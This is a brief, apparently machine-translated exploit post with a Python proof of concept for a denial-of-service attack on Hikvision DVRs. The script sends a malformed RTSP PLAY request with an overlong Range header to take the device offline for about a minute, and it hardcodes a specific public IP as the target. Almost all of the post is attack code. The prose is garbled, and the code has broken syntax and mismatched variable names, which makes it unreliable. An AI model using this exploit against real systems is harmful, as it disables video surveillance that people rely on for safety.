Denial-of-service attack in Hikvision

Hikvision is a door will have the submitted script can keep Hikvision DVR platform offline for one minutes which can cause problems when the camera operator or delay the display image.



import socket

HOST = '200.82.175.65'
PORT = 554
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ((host, port))

trigger_pkt = "PLAY rtsp: //% s / RTSP / 1.0 \ r \ n"% HOST
trigger_pkt + = "CSeq 7 \ r \ n"
trigger_pkt + = "Range: npt = Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS \ r \ n"
trigger_pkt + = "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10) \ r \ n \ r \ n"

s.sendall (trigger_pkt)
print "Packet sent"
data = s.recv (1024)
print 'Received', repr (data), "\ r \ n"
s.Close ()